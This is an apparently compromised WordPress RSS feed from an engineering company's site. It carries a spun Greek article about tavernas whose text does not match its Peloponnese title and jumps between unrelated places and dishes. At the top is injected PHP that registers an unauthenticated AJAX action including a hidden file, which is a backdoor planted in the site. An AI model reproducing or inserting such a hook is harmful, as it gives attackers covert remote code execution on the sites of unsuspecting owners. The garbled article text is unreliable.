if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } miteran.gr – RASAS INTEGRATED SERVICES NIG LTD http://rasasintegrated.com A leading provider of engineering services Fri, 24 Jul 2026 22:52:27 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.6 http://rasasintegrated.com/wp-content/uploads/2020/10/cropped-logo-icon-32x32.png miteran.gr – RASAS INTEGRATED SERVICES NIG LTD http://rasasintegrated.com 32 32 Οι 20 καλύτερες ταβέρνες της Πελοποννήσου http://rasasintegrated.com/h1-20-h1-6/ http://rasasintegrated.com/h1-20-h1-6/#respond Thu, 24 Sep 2026 10:41:06 +0000 http://rasasintegrated.com/?p=25928

In This Article

Είναι δύο, αμφότερα στον πεζόδρομο που συνδέει Θησείο και Πετράλωνα, παράλληλα με τις γραμμές του Ηλεκτρικού. Αρκετές ιδιοπαρασκευές με πρώτη και καλύτερη την τρυφερή λακέρδα, αιθέριο τηγάνι (κολοκυθάκια, κεφτεδάκια, μπακαλιάρος σκορδαλιά) και πολύ καλά μαγειρευτά δίνουν τον τόνο στον κατάλογο που αλλάζει συχνά ακολουθώντας τις εποχές. Η ιδιαιτερότητα της προσέγγισης στηρίζεται καταρχήν στην πρώτη ύλη, την οποία συλλέγει προσωπικά ο ιδιοκτήτης Χάρης Τζίτζης, οργώνοντας καθημερινά τις λαϊκές του λεκανοπεδίου, ενώ η ταλαντούχα μαγείρισσα Εύα Πασανικολάκη μαγειρεύει χαρακτηριστικά πιάτα από το παραδοσιακό συνταγολόγιο με καλό χέρι και διάχυτη φινέτσα.

  • Ζουμερό και νόστιμο είναι και το σουβλάκι κοτόπουλο σε μερίδα με ωραίες τηγανητές πατάτες, αλλά επειδή νομίζω ότι το κοκκινιστό είναι το φόρτε τους, μην χάσεις και τους μελωμένους γίγαντες.
  • Η νέα άφιξη των νοτίων προαστίων σερβίρει αυθεντικές γεύσεις και την οικειότητα που περιμένει κανείς από μια καθαρόαιμη, φροντισμένη ταβέρνα.
  • Από τα φαγητά του ξεχωρίζουν ο πατσάς, οι ηπειρώτικες πίτες, τα ψητά ή τα μαγειρευτά κρέατα, τα λουκάνικα της σχάρας, αλλά και τα κυνήγια.
  • Στο σπίτι μας είχαμε πάντα ποιοτικό φαγητό, φτιαγμένο από φρέσκα προϊόντα και αυτό ακριβώς κάνουμε και στο μαγαζί μας.

Πέθανε από… μια θερμική κούπα: τη χρησιμοποιούσε καθημερινά για 20 χρόνια!

Με το Studemateriallity να υπογράφει το νέο design, η εξωτερική όψη έχει αγκαλιαστεί με ζεστό γκριζογάλαζο σοβά που αναδεικνύει τις κομψές γραμμές του κτηρίου (και ανατρέπει τις εντυπώσεις περί "άσχημης γκρίζας πόλης"), ενώ στο εσωτερικό έχει διατηρηθεί η διαρρύθμιση με τις δυο σάλες (και το περίτεχνο πλακάκι του 1905 σε μία απ’ αυτές), με την ατμόσφαιρα να αλαφραίνει χάρη στο συνδυασμό ξύλου με λευκό πλακάκι και ιδιαίτερες λεπτομέρειες. Χαλαρό, ανοιχτόκαρδο και ξεκάθαρο σε γεύση και ύφος, το νεοταβερνάκι με την ωραία μουσική και τη φιλική ατμόσφαιρα φαίνεται να έφερε ξανά στο γοητευτικό νεοκλασικό της οδού Ηρώνδα (μετά από πολλαπλές αλλαγές χρήσης) μια ταυτότητα που πραγματικά του ταιριάζει. Κάντε την παραγγελία σας και απολαύστε το μενού μας στο χώρο σας. Οι οικογένειες με παιδιά μπορούν να απολαύσουν το μεσημεριανό γεύμα ή το δείπνο τους, ενώ τα παιδιά τους μπορούν να παίξουν με ασφάλεια στην ειδικά διαμορφωμένη παιδική χαρά μας. Ήταν την δεκαετία του 1890 όταν άνοιξε τις πόρτες του για πρώτη φορά μια μικρή ταβέρνα στην περιοχή της Παλαιάς Πεντέλης… Κρατώντας όμως αναλλοίωτη την ποιότητα των πιάτων και τη ζεστασιά της μεταξύ μας σχέσης.

Η ταβέρνα του Κατσόγιαννου

Στην κουζίνα πλέον μαγειρεύει η σύζυγός του Αγγελική ενώ κι ο γιος του ο Γιώργος, παράλληλα με τις σπουδές του βοηθάει όποτε μπορεί. Με μια ρέγκα, πέντε ελιές, λίγη φέτα και κάνα φασόλι, όσοι έπιαναν τα τραπέζια του έπιναν πολλά κιλά κρασί. Οινομαγειρείο τα πρώτα χρόνια, έβγαζε κάνα δυο μεζέδες κι αυτό ήταν όλο. Έτσι πήρε το όνομά της αυτή η πολύ παλιά ταβέρνα που κρατάει από το 1893. Τα τελευταία χρόνια την ταβέρνα διαχειρίζεται ο όμιλος Σταθοκωστόπουλου, που της έδωσε καινούρια πνοή με σεβασμό στην ιστορία της.

H ταβέρνα της κυρα Ποθητής στη Σχοινούσα

Ακόμη περισσότερο, εάν αυτή η εμπειρία συνοδεύεται από το φιλικό προσωπικό μας, πάντα έτοιμο να σας εξυπηρετήσει έγκαιρα, η ικανοποίησή σας είναι εγγυημένη. Είμαστε ανοιχτοί στην κριτική σας και κάνουμε ό,τι καλύτερο μπορούμε για να βελτιώσουμε τίς υπηρεσίες μας και να σας προσφέρουμε τα καλύτερα ποιοτικά πιάτα υψηλής διατροφικής αξίας και γεύσης. Η ειδικά σχεδιασμένος χώρος για παιδιά είναι συχνά εξοπλισμένος με παιχνίδια που τα κρατούν αφοσιωμένα και ταυτόχρονα τα ενθαρρύνουν να αναπτύξουν τις δεξιότητές τους. Εμπιστευθείτε μας για να οργανώσουμε την επόμενη εκδήλωση σας και απολλαύστε με τους φίλους σας τις πιο σημαντικές στιγμές σας. Δοκιμάστε τις γνήσιες αρωμάτικες μας ποικιλίες από Λευκά, Ροζέ Ημίγλυκα και Κόκκινα Ελληνικά κρασιά από εγχώριους παραγωγούς υψηλών προδιαγραφών.

Έχω βρεθεί σχετικά πρόσφατα εκεί Τσικνοπέμπτη και γινόταν το σώσε! Λεύκα Στον ίδιο δρόμο και η παμπάλαιη Λεύκα που ξεκίνησε σαν καρβουνιάρικο της γειτονιάς και σιγά σιγά εξελίχθηκε σε μία από τις καλύτερες παραδοσιακές ταβέρνες της πόλης. Στον κατάλογο θα βρεις τα κλασικά –γίγαντες, φάβα, κοκκινιστό, λεμονάτο–, αλλά και πιο «σύγχρονα» όπως το χοιρινό με μαστίχα και μάραθο (που προδίδει και την καταγωγή του ιδιοκτήτη Μακάριου Αβδελιώδη από τη Χίο). Οι παρέες σήμερα είναι όλοι οι παλιοί αλλά και πολλή νεολαία που κάτι τέτοια μικρά, «ιστορικά» ταβερνάκια τα ψάχνει και όταν τα βρει ζωντανά και του γούστου της τα κάνει στέκια της. Από τις τελευταίες που έμειναν για να θυμίζουν πως η Καισαριανή πριν γίνει κι αυτή «όπισθεν Χίλτον» ήταν μια λαϊκή γειτονιά γεμάτη ταβέρνες που μάζευαν κόσμο από όλη την Αθήνα.

Μαγειρεύουν με παλιές συνταγές, κληρονομιά της γιαγιάς Ευαγγελίας και του ιδρυτή της ταβέρνας, Γιάννη Μπάρμπα. Σε αυτή την όμορφη γειτονιά με τα αρχοντικά της Eνετοκρατίας, τα μέγαρα του 19ου αιώνα και τα επιβλητικά δημόσια κτίρια, όπως η Ιόνιος Βουλή και η Ιόνιος Ακαδημία, βρίσκεται από το 1995 η ταβέρνα της οικογένειας Μπάρμπα. Η καρμπονάρα που δοκίμασα ήταν υποδειγματική, τα λιγκουίνι με μύδια κι αχιβάδες όπως ακριβώς πρέπει, ενώ τα ριγκατόνι αματριτσιάνα είχαν πολύ έντονη και υπερβολική σε ποσότητα σάλτσα. Σε έναν off Broadway πεζόδρομο της πόλης, σε μια ευχάριστη, νεανική πιάτσα, βρίσκεται το εστιατόριο Saluteria, που με την ωραία αισθητική του όντως θυμίζει ιταλική σαλουτερία. Το «Grecano» περιέχει ντόπιο νούμπουλο, κρέμα φέτας, ντοματίνια και σάλτσα ντομάτας, το «Casanova», που είναι από τα πιο δημοφιλή, το ετοιμάζουν με βεντριτσίνα, κρέμα καπνιστής μελιτζάνας και μοτσαρέλα, ενώ το σάντουιτς «Cardinale» περιέχει σαλάμι Μιλάνο, γαλλικό κατσικίσιο τυρί και ανθόμελο.

Φαγητό δίπλα στο κύμα στην Ανατολική Αττική

Η ταβέρνα του Βαρδή στην πλατεία του Υμηττού, είναι η αυθεντική, παραδοσιακή ταβέρνα από τα παλιά. Εκτός από τον μπακαλιάρο και τη σπιτική φάβα, μην παραλείψετε να δοκιμάσετε τα παραδοσιακά κεφτεδάκια και, φυσικά, να ρωτήσετε για τα πιάτα ημέρας. Ο Λελούδας είναι μια ανάσα πριν συμπληρώσει έναν αιώνα ζωής -λειτούργησε για πρώτη φορά το 1928 και μέχρι σήμερα βρίσκεται στο Βοτανικό.

Θαλασσινά

Στα εργοστάσια ήταν δύσκολο να πάνε και κοινός τόπος ήταν οι ταβέρνες. — Η σχέση των διανοουμένων με την ταβέρνα;Από τη στιγμή που αποφάσιζαν οι διανοούμενοι να συνομιλήσουν με τον λαό, πήγαιναν στις ταβέρνες. βαφτισια Συνήθως οι μανάδες βοήθαγαν το παιδί, που ήταν ιδιοκτήτης.

]]> http://rasasintegrated.com/h1-20-h1-6/feed/ 0